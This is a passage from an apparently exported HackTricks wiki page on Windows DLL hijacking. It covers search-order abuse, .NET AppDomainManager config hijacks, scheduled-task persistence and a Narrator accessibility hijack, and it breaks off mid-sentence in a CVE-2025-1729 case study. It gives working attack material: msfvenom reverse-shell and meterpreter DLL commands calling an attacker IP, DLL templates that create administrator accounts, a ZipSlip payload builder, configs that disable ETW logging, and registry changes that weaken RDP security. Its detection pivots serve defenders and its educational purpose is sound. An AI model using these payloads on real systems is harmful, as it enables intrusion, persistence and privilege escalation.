overview.md (50942B)
1 --- 2 title: "DLL Hijacking" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # DLL Hijacking 14 15 ## Basic Information 16 17 DLL Hijacking involves manipulating a trusted application into loading a malicious DLL. This term encompasses several tactics like **DLL Spoofing, Injection, and Side-Loading**. It's mainly utilized for code execution, achieving persistence, and, less commonly, privilege escalation. Despite the focus on escalation here, the method of hijacking remains consistent across objectives. 18 19 ### Common Techniques 20 21 Several methods are employed for DLL hijacking, each with its effectiveness depending on the application's DLL loading strategy:<sup>[[4]](#references)</sup> 22 23 1. **DLL Replacement**: Swapping a genuine DLL with a malicious one, optionally using DLL Proxying to preserve the original DLL's functionality. 24 2. **DLL Search Order Hijacking**: Placing the malicious DLL in a search path ahead of the legitimate one, exploiting the application's search pattern. 25 3. **Phantom DLL Hijacking**: Creating a malicious DLL for an application to load, thinking it's a non-existent required DLL. 26 4. **DLL Redirection**: Modifying search parameters like `%PATH%` or `.exe.manifest` / `.exe.local` files to direct the application to the malicious DLL. 27 5. **WinSxS DLL Replacement**: Substituting the legitimate DLL with a malicious counterpart in the WinSxS directory, a method often associated with DLL side-loading. 28 6. **Relative Path DLL Hijacking**: Placing the malicious DLL in a user-controlled directory with the copied application, resembling Binary Proxy Execution techniques. 29 30 [Windows Cpython Build Landmark Sys Path Hijacking](/hacktricks/windows-hardening/windows-local-privilege-escalation/dll-hijacking/windows-cpython-build-landmark-sys-path-hijacking) 31 32 33 ### AppDomainManager hijacking (`<exe>.config` + attacker assembly) 34 35 Classic DLL sideloading is not the only way to make a trusted **.NET Framework** process load attacker code. If the target executable is a **managed** application, the CLR also consults an **application configuration file** named after the executable (for example `Setup.exe.config`). That file can define a custom **AppDomainManager**. If the config points to an attacker-controlled assembly placed next to the EXE, the CLR loads it **before the application's normal code path** and runs inside the trusted process.<sup>[[24]](#references)</sup> 36 37 Per Microsoft's .NET Framework configuration schema, both `<appDomainManagerAssembly>` and `<appDomainManagerType>` must be present for the custom manager to be used.<sup>[[16]](#references)[[17]](#references)</sup> 38 39 Minimal config: 40 41 ```xml 42 <configuration> 43 <runtime> 44 <appDomainManagerAssembly value="EvilMgr, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" /> 45 <appDomainManagerType value="EvilMgr.Loader" /> 46 </runtime> 47 </configuration> 48 ``` 49 50 Minimal manager: 51 52 ```csharp 53 using System; using System.Runtime.InteropServices; 54 public sealed class Loader : AppDomainManager { 55 [DllImport("user32.dll")] static extern int MessageBox(IntPtr h, string t, string c, int m); 56 public override void InitializeNewDomain(AppDomainSetup appDomainInfo) { 57 MessageBox(IntPtr.Zero, "Loaded inside trusted .NET host", "AppDomain hijack", 0); 58 } 59 } 60 ``` 61 62 Practical notes: 63 - This is **.NET Framework specific** tradecraft. It depends on CLR config parsing, not on the Win32 DLL search order. 64 - The host must really be a **managed EXE**. Quick triage: `sigcheck -m target.exe`, `corflags target.exe`, or check for the **CLR Runtime Header** in PE metadata. 65 - The config filename must match the executable name exactly (`<binary>.config`) and usually lives **next to the EXE**. 66 - This is useful with **signed Microsoft/vendor binaries** because the trusted EXE remains untouched while the malicious managed assembly executes in-process. 67 - If you already have a writable installer/update directory, AppDomainManager hijacking can be used as the **first stage**, followed by classic DLL sideloading or reflective loading for later stages. 68 69 ### AppDomainManager as a downloader + scheduled-task bootstrap 70 71 A practical intrusion pattern is to pair the trusted managed EXE with both a malicious `*.config` and a malicious AppDomainManager DLL that acts only as a **small bootstrapper**:<sup>[[25]](#references)</sup> 72 73 1. User launches a signed .NET installer or updater from a believable location such as `%USERPROFILE%\Downloads`. 74 2. The adjacent config causes the CLR to load the attacker assembly **before** the legitimate app logic starts. 75 3. The malicious manager performs a **path gate** (for example, only continue if the host EXE is running from `Downloads`, and only let the second stage run from `%LOCALAPPDATA%`). 76 4. If the check passes, it downloads the real payload into a user-writable path such as `%LOCALAPPDATA%\PerfWatson2.exe` and installs persistence with a scheduled task. 77 78 Why this variant matters: 79 - The signed host EXE stays unchanged, so triage that only hashes the main binary may miss the compromise. 80 - Simple **path-based anti-analysis** is common: moving the ZIP/EXE/DLL triad to Desktop, Temp, or a sandbox path can intentionally break the chain. 81 - The first-stage AppDomainManager DLL can stay tiny and low-noise while the real implant is fetched later. 82 83 Minimal persistence example frequently seen with this pattern: 84 85 ```batch 86 schtasks /create /tn "GoogleUpdaterTaskSystem140.0.7272.0" /sc onlogon /tr "%LOCALAPPDATA%\PerfWatson2.exe" /rl highest /f 87 ``` 88 89 Notes: 90 - ` /rl highest` means **highest available** for that user/session; it is not a guaranteed SYSTEM escalation by itself. 91 - This technique is often better categorized as **execution/persistence via .NET config abuse** than classic missing-DLL search-order hijacking, even though operators frequently chain both together. 92 93 Detection pivots: 94 - Signed .NET executables launched from **ZIP extraction paths**, `Downloads`, `%TEMP%`, or other user-writable folders with a **colocated** `<exe>.config`. 95 - New scheduled tasks whose action points into `%LOCALAPPDATA%`, `%APPDATA%`, or `Downloads` and whose names mimic browser/vendor updaters. 96 - Short-lived managed bootstrap processes that immediately download another EXE, then spawn `schtasks.exe`. 97 - Samples that exit early unless the executable path matches an expected user-profile directory. 98 99 ### Hijacking an existing scheduled task to relaunch the sideload chain 100 101 For persistence, do not only look for **creating a new task**. Some intrusion sets wait until a legitimate installer creates a **normal updater task** and then **rewrite the task action** so the existing name, author, and trigger stay familiar to defenders. 102 103 Reusable workflow: 104 1. Install/run the legitimate software and identify the task it normally creates. 105 2. Export the task XML and note the current `<Exec><Command>` / `<Arguments>` values.<sup>[[23]](#references)</sup> 106 3. Replace only the action so the task starts your **trusted host EXE** from a user-writable staging directory, which then side-loads or AppDomain-loads the real payload. 107 4. Re-register the same task name instead of creating a new obvious persistence artifact. 108 109 ```batch 110 schtasks /query /tn "<TaskName>" /xml > task.xml 111 :: edit the <Exec><Command> and optional <Arguments> nodes 112 schtasks /create /tn "<TaskName>" /xml task.xml /f 113 ``` 114 115 Why it is stealthier: 116 - The task name can still look legitimate (for example a vendor updater). 117 - The **Task Scheduler service** launches it, so parent/ancestor validation often sees the expected scheduling chain instead of `explorer.exe`. 118 - DFIR teams that only hunt for **new task names** may miss a task whose registration already existed but whose action now points to `%LOCALAPPDATA%`, `%APPDATA%`, or another attacker-controlled path. 119 120 Fast hunting pivots: 121 - `schtasks /query /fo LIST /v | findstr /i "TaskName Task To Run"` 122 - `Get-ScheduledTask | % { [pscustomobject]@{TaskName=$_.TaskName; TaskPath=$_.TaskPath; Exec=($_.Actions | % Execute)} }` 123 - Compare `C:\Windows\System32\Tasks\*` XML and `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\*` metadata against a baseline. 124 - Alert when a **vendor-looking updater task** executes from **user-writable directories** or launches a .NET EXE with a colocated `*.config` file. 125 126 > [!TIP] 127 > For a step-by-step chain that layers HTML staging, AES-CTR configs, and .NET implants on top of DLL sideloading, review the workflow below. 128 129 [Advanced Html Staged Dll Sideloading](/hacktricks/windows-hardening/windows-local-privilege-escalation/dll-hijacking/advanced-html-staged-dll-sideloading) 130 131 ## Finding missing DLLs 132 133 The most common way to find missing Dlls inside a system is running [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) from sysinternals, **setting** the **following 2 filters**: 134 135  136 137  138 139 and just show the **File System Activity**: 140 141  142 143 If you are looking for **missing dlls in general** you **leave** this running for some **seconds**.\ 144 If you are looking for a **missing DLL inside a specific executable**, set another filter such as **"Process Name" "contains" `<exec name>`**, execute it, and stop capturing events.<sup>[[9]](#references)</sup> 145 146 ## Exploiting Missing DLLs 147 148 To escalate privileges, look for a **DLL that a privileged process tries to load** from a location you can write to. This can happen when you control a directory searched before the directory containing the legitimate DLL, or when the requested DLL does not exist and you can write to one of the searched directories. 149 150 ### Dll Search Order 151 152 **Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.** 153 154 **Windows applications** look for DLLs by following a set of **pre-defined search paths**, adhering to a particular sequence. The issue of DLL hijacking arises when a harmful DLL is strategically placed in one of these directories, ensuring it gets loaded before the authentic DLL. A solution to prevent this is to ensure the application uses absolute paths when referring to the DLLs it requires. 155 156 You can see the **DLL search order on 32-bit** systems below: 157 158 1. The directory from which the application loaded. 159 2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_) 160 3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_) 161 4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory. 162 1. (_C:\Windows_) 163 5. The current directory. 164 6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path. 165 166 That is the **default** search order with **SafeDllSearchMode** enabled. When it's disabled the current directory escalates to second place. To disable this feature, create the **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry value and set it to 0 (default is enabled). 167 168 If [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) function is called with **LOAD_WITH_ALTERED_SEARCH_PATH** the search begins in the directory of the executable module that **LoadLibraryEx** is loading. 169 170 Finally, a DLL can be loaded by absolute path rather than by name. In that case, Windows looks only at that path for the DLL itself; dependencies requested by name still follow the applicable search order. 171 172 There are other ways to alter the ways to alter the search order but I'm not going to explain them here. 173 174 ### Chaining an arbitrary file write into a missing-DLL hijack 175 176 **Related technique:** [oplock-gated mount-point switching against privileged remediation](/hacktricks/windows-hardening/windows-local-privilege-escalation/kernel-race-condition-object-manager-slowdown#applied-chain-oplock-gated-mount-point-switch-against-privileged-remediation). 177 178 1. Use **ProcMon** filters (`Process Name` = target EXE, `Path` ends with `.dll`, `Result` = `NAME NOT FOUND`) to collect DLL names that the process probes but cannot find.<sup>[[14]](#references)</sup> 179 2. If the binary runs on a **schedule/service**, dropping a DLL with one of those names into the **application directory** (search-order entry #1) will be loaded on the next execution. In one .NET scanner case the process looked for `hostfxr.dll` in `C:\samples\app\` before loading the real copy from `C:\Program Files\dotnet\fxr\...`. 180 3. Build a payload DLL (e.g. reverse shell) with any export: `msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=443 -f dll -o hostfxr.dll`. 181 4. If your primitive is a **ZipSlip-style arbitrary write**, craft a ZIP whose entry escapes the extraction dir so the DLL lands in the app folder: 182 183 ```python 184 import zipfile 185 with zipfile.ZipFile("slip-shell.zip", "w") as z: 186 z.writestr("../app/hostfxr.dll", open("hostfxr.dll","rb").read()) 187 ``` 188 189 5. Deliver the archive to the watched inbox/share; when the scheduled task re-launches the process it loads the malicious DLL and executes your code as the service account. 190 191 ### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath 192 193 An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdll’s native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory. 194 195 Key idea 196 - Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives). 197 - Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE. 198 199 Notes/limitations 200 - This affects the child process being created; it is different from SetDllDirectory, which affects the current process only. 201 - The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories). 202 - KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence. 203 204 Minimal C example (ntdll, wide strings, simplified error handling): 205 206 <details> 207 <summary>Full C example: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath</summary> 208 209 ```c 210 #include <windows.h> 211 #include <winternl.h> 212 #pragma comment(lib, "ntdll.lib") 213 214 // Prototype (not in winternl.h in older SDKs) 215 typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( 216 PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, 217 PUNICODE_STRING ImagePathName, 218 PUNICODE_STRING DllPath, 219 PUNICODE_STRING CurrentDirectory, 220 PUNICODE_STRING CommandLine, 221 PVOID Environment, 222 PUNICODE_STRING WindowTitle, 223 PUNICODE_STRING DesktopInfo, 224 PUNICODE_STRING ShellInfo, 225 PUNICODE_STRING RuntimeData, 226 ULONG Flags 227 ); 228 229 typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( 230 PUNICODE_STRING NtImagePathName, 231 ULONG Attributes, 232 PRTL_USER_PROCESS_PARAMETERS ProcessParameters, 233 PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, 234 PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, 235 HANDLE ParentProcess, 236 BOOLEAN InheritHandles, 237 HANDLE DebugPort, 238 HANDLE ExceptionPort, 239 PRTL_USER_PROCESS_INFORMATION ProcessInformation 240 ); 241 242 static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { 243 DWORD n = GetModuleFileNameW(h, out, cch); 244 for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; } 245 } 246 247 int wmain(void) { 248 // Target Microsoft-signed, DLL-hijackable binary (example) 249 const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe"; 250 251 // Build custom DllPath = directory of our current module (e.g., the unpacked archive) 252 wchar_t dllDir[MAX_PATH]; 253 DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH); 254 255 UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; 256 RtlInitUnicodeString(&uImage, image); 257 RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\""); 258 RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory 259 RtlInitUnicodeString(&uCurDir, dllDir); 260 261 RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = 262 (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx"); 263 RtlCreateUserProcess_t pRtlCreateUserProcess = 264 (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess"); 265 266 RTL_USER_PROCESS_PARAMETERS *pp = NULL; 267 NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, 268 NULL, NULL, NULL, NULL, NULL, 0); 269 if (st < 0) return 1; 270 271 RTL_USER_PROCESS_INFORMATION pi = {0}; 272 st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); 273 if (st < 0) return 1; 274 275 // Resume main thread etc. if created suspended (not shown here) 276 return 0; 277 } 278 ``` 279 280 </details> 281 282 Operational usage example 283 - Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory. 284 - Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL. 285 286 This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory.<sup>[[6]](#references)</sup> 287 288 289 ### .NET AppDomainManager hijacking via `.exe.config` 290 291 For **.NET Framework** targets, sideloading can be done **before `Main()`** without patching memory by abusing the application's adjacent **`.exe.config`** file. Instead of relying only on the Win32 DLL search order, the attacker places a legitimate .NET EXE next to a malicious config and one or more attacker-controlled assemblies. 292 293 How the chain works:<sup>[[15]](#references)[[22]](#references)</sup> 294 1. The host EXE starts and the **CLR reads `<exe>.config`**. 295 2. The config sets **`<appDomainManagerAssembly>`** and **`<appDomainManagerType>`** so the runtime instantiates an attacker-controlled `AppDomainManager`. 296 3. The malicious manager gets **pre-`Main()` execution** inside the trusted host process. 297 4. The same config can force the CLR to resolve local assemblies first (for example `InitInstall.dll`, `Updater.dll`, `uevmonitor.dll`) and can weaken runtime validation/telemetry without inline patching. 298 299 Campaign-style pattern (exact nesting can vary by directive / CLR version): 300 301 ```xml 302 <configuration> 303 <runtime> 304 <appDomainManagerAssembly value="Updater" /> 305 <appDomainManagerType value="MyAppDomainManager" /> 306 <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"> 307 <probing privatePath="." /> 308 <publisherPolicy apply="no" /> 309 </assemblyBinding> 310 <bypassTrustedAppStrongNames enabled="true" /> 311 <etwEnable enabled="false" /> 312 </runtime> 313 <startup> 314 <requiredRuntime version="v4.0.30319" safemode="true" /> 315 </startup> 316 </configuration> 317 ``` 318 319 Why this is useful: 320 - **`<probing privatePath="."/>`** keeps assembly resolution in the application directory, turning the folder into a predictable sideloading surface.<sup>[[18]](#references)</sup> 321 - **`<appDomainManagerAssembly>` + `<appDomainManagerType>`** move execution into attacker code during CLR initialization, before the legitimate app logic runs.<sup>[[16]](#references)[[17]](#references)</sup> 322 - **`<bypassTrustedAppStrongNames enabled="true"/>`** can let a full-trust app load unsigned or tampered assemblies without a strong-name validation failure.<sup>[[19]](#references)</sup> 323 - **`<publisherPolicy apply="no"/>`** avoids publisher-policy redirects to newer assemblies.<sup>[[20]](#references)</sup> 324 - **`<requiredRuntime ... safemode="true"/>`** makes runtime selection more deterministic.<sup>[[21]](#references)</sup> 325 - **`<etwEnable enabled="false"/>`** is especially interesting because the **CLR disables its own ETW visibility** from configuration instead of the implant patching `EtwEventWrite` in memory. 326 327 Operational pattern seen in recent campaigns: 328 - Stage 1 drops `setup.exe`, `setup.exe.config`, and local assemblies. 329 - Stage 2 copies them into a believable **AppData update** folder, renames the host to something like `update.exe`, and relaunches it via a **scheduled task**. 330 - Stage 3 verifies execution context (for example expected parent `svchost.exe` from Task Scheduler) before loading the final RAT DLL/export. 331 332 Hunting ideas: 333 - Signed or otherwise legitimate **.NET executables** running with suspicious adjacent **`.config`** files in user-writable locations. 334 - `.config` files containing **`appDomainManagerAssembly`**, **`appDomainManagerType`**, **`probing privatePath="."`**, **`bypassTrustedAppStrongNames`**, or **`etwEnable enabled="false"`**. 335 - Scheduled tasks that relaunch renamed update binaries from **`%LOCALAPPDATA%`** or app-specific `\bin\update\` directories. 336 - Parent/child chains where a scheduled task launches a trusted .NET host that immediately loads non-vendor assemblies from its own directory. 337 338 #### Exceptions on dll search order from Windows docs 339 340 Certain exceptions to the standard DLL search order are noted in Windows documentation: 341 342 - When a **DLL that shares its name with one already loaded in memory** is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. **In this scenario, the system does not conduct a search for the DLL**. 343 - In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. The registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** holds a list of these known DLLs. 344 - Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path. 345 346 ### Escalating Privileges 347 348 **Requirements**: 349 350 - Identify a process that operates or will operate under **different privileges** (horizontal or lateral movement), which is **lacking a DLL**. 351 - Ensure **write access** is available for any **directory** in which the **DLL** will be **searched for**. This location might be the directory of the executable or a directory within the system path. 352 353 These prerequisites are uncommon by default: privileged executables do not usually have missing DLL dependencies, and standard users normally cannot write to system search-path directories. Misconfigured environments can still expose both conditions.\ 354 If the requirements are met, check the [UACME](https://github.com/hfiref0x/UACME) project. Although its main goal is UAC bypass, it contains DLL-hijacking PoCs for specific Windows versions that can often be adapted to the writable directory you found. 355 356 Note that you can **check your permissions in a folder** doing:<sup>[[5]](#references)</sup> 357 358 ```bash 359 accesschk.exe -dqv "C:\Python27" 360 icacls "C:\Python27" 361 ``` 362 363 And **check permissions of all folders inside PATH**: 364 365 ```bash 366 for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) 367 ``` 368 369 You can also check the imports of an executable and the exports of a dll with: 370 371 ```bash 372 dumpbin /imports C:\path\Tools\putty\Putty.exe 373 dumpbin /export /path/file.dll 374 ``` 375 376 For a full guide on how to **abuse DLL Hijacking to escalate privileges** with permissions to write in a **System Path folder** check: 377 378 379 [Writable Sys Path Dll Hijacking Privesc](/hacktricks/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-dll-hijacking-privesc) 380 381 ### Automated tools 382 383 [**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)will check if you have write permissions on any folder inside system PATH.\ 384 Other interesting automated tools to discover this vulnerability are **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ and _Write-HijackDll._ 385 386 ### Example 387 388 In case you find an exploitable scenario one of the most important things to successfully exploit it would be to **create a dll that exports at least all the functions the executable will import from it**. Anyway, note that DLL Hijacking comes handy in order to [escalate from Medium Integrity level to High **(bypassing UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) or from[ **High Integrity to SYSTEM**](../index.html#from-high-integrity-to-system)**.** You can find an example of **how to create a valid dll** inside this dll hijacking study focused on DLL hijacking for execution: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ 389 Moreover, in the **next sectio**n you can find some **basic dll codes** that might be useful as **templates** or to create a **dll with non required functions exported**. 390 391 ## **Creating and compiling DLLs** 392 393 ### **DLL Proxifying** 394 395 Basically a **DLL proxy** is a DLL capable of **execute your malicious code when loaded** but also to **expose** and **work** as **exected** by **relaying all the calls to the real library**. 396 397 With the tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) or [**Spartacus**](https://github.com/Accenture/Spartacus) you can actually **indicate an executable and select the library** you want to proxify and **generate a proxified dll** or **indicate the DLL** and **generate a proxified dll**. 398 399 ### **Meterpreter** 400 401 **Get rev shell (x64):** 402 403 ```bash 404 msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll 405 ``` 406 407 **Get a meterpreter (x86):** 408 409 ```bash 410 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll 411 ``` 412 413 **Create a user (x86 I didn't see a x64 version):** 414 415 ```bash 416 msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll 417 ``` 418 419 ### Your own 420 421 In many cases, the DLL you compile must **export every function imported by the victim process**. If a required export is missing, the binary cannot resolve it and the exploit fails. 422 423 <details> 424 <summary>C DLL template (Win10)</summary> 425 426 ```c 427 // Tested in Win10 428 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared 429 #include <windows.h> 430 BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ 431 switch(dwReason){ 432 case DLL_PROCESS_ATTACH: 433 system("whoami > C:\\users\\username\\whoami.txt"); 434 WinExec("calc.exe", 0); //This doesn't accept redirections like system 435 break; 436 case DLL_PROCESS_DETACH: 437 break; 438 case DLL_THREAD_ATTACH: 439 break; 440 case DLL_THREAD_DETACH: 441 break; 442 } 443 return TRUE; 444 } 445 ``` 446 447 </details> 448 449 ```c 450 // For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll 451 // For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll 452 453 #include <windows.h> 454 BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ 455 if (dwReason == DLL_PROCESS_ATTACH){ 456 system("cmd.exe /k net localgroup administrators user /add"); 457 ExitProcess(0); 458 } 459 return TRUE; 460 } 461 ``` 462 463 <details> 464 <summary>C++ DLL example with user creation</summary> 465 466 ```c 467 //x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp 468 //x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a 469 470 #include <windows.h> 471 472 int owned() 473 { 474 WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0); 475 exit(0); 476 return 0; 477 } 478 479 BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) 480 { 481 owned(); 482 return 0; 483 } 484 ``` 485 486 </details> 487 488 <details> 489 <summary>Alternate C DLL with thread entry</summary> 490 491 ```c 492 //Another possible DLL 493 // i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll 494 495 #include<windows.h> 496 #include<stdlib.h> 497 #include<stdio.h> 498 499 void Entry (){ //Default function that is executed when the DLL is loaded 500 system("cmd"); 501 } 502 503 BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { 504 switch (ul_reason_for_call){ 505 case DLL_PROCESS_ATTACH: 506 CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); 507 break; 508 case DLL_THREAD_ATTACH: 509 case DLL_THREAD_DETACH: 510 case DLL_PROCESS_DEATCH: 511 break; 512 } 513 return TRUE; 514 } 515 ``` 516 517 </details> 518 519 ## Case Study: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs) 520 521 Windows Narrator.exe still probes a predictable, language-specific localization DLL on start that can be hijacked for arbitrary code execution and persistence.<sup>[[7]](#references)</sup> 522 523 Key facts 524 - Probe path (current builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US). 525 - Legacy path (older builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`. 526 - If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and `DllMain(DLL_PROCESS_ATTACH)` executes. No exports are required. 527 528 Discovery with Procmon 529 - Filter: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`. 530 - Start Narrator and observe the attempted load of the above path. 531 532 Minimal DLL 533 ```c 534 // Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path 535 BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) { 536 if (r == DLL_PROCESS_ATTACH) { 537 // Optional OPSEC: DisableThreadLibraryCalls(h); 538 // Suspend/quiet Narrator main thread, then run payload 539 // (see PoC for implementation details) 540 } 541 return TRUE; 542 } 543 ``` 544 545 OPSEC silence 546 - A naive hijack will speak/highlight UI. To stay quiet, on attach enumerate Narrator threads, open the main thread (`OpenThread(THREAD_SUSPEND_RESUME)`) and `SuspendThread` it; continue in your own thread. See PoC for full code.<sup>[[8]](#references)</sup> 547 548 Trigger and persistence via Accessibility configuration 549 - User context (HKCU): `reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f` 550 - Winlogon/SYSTEM (HKLM): `reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f` 551 - With the above, starting Narrator loads the planted DLL. On the secure desktop (logon screen), press CTRL+WIN+ENTER to start Narrator; your DLL executes as SYSTEM on the secure desktop. 552 553 RDP-triggered SYSTEM execution (lateral movement) 554 - Allow classic RDP security layer: `reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f` 555 - RDP to the host, at the logon screen press CTRL+WIN+ENTER to launch Narrator; your DLL executes as SYSTEM on the secure desktop. 556 - Execution stops when the RDP session closes—inject/migrate promptly. 557 558 Bring Your Own Accessibility (BYOA) 559 - You can clone a built-in Accessibility Tool (AT) registry entry (e.g., CursorIndicator), edit it to point to an arbitrary binary/DLL, import it, then set `configuration` to that AT name. This proxies arbitrary execution under the Accessibility framework. 560 561 Notes 562 - Writing under `%windir%\System32` and changing HKLM values requires admin rights. 563 - All payload logic can live in `DLL_PROCESS_ATTACH`; no exports are needed. 564 565 ## Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe 566 567 This case demonstrates **Phantom DLL Hijacking** in Lenovo's TrackPoint Quick Menu (`TPQMAssistant.exe`), tracked as **CVE-2025-1729**.<sup>[[2]](#references)[[3]](#references)</sup> 568 569 ### Vulnerability Details 570 571 - **Component**: `TPQMAssistant.exe` located at `C:\ProgramData\Lenovo\TPQM\Assistant\`. 572 - **Scheduled Task**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` runs daily at 9:30 AM under the context of the logged-on user. 573 - **Directory Permissions**: Writable by `CREATOR OWNER`, allowing local users to drop arbitrary files. 574 - **DLL Search Behavior**: Attempts to load `hostfxr.dll` from its working directory first and logs "NAME NOT FOUND" if missing, indicating local directory search precedence. 575 576 ### Exploit Implementation 577 578 An attacker can place a 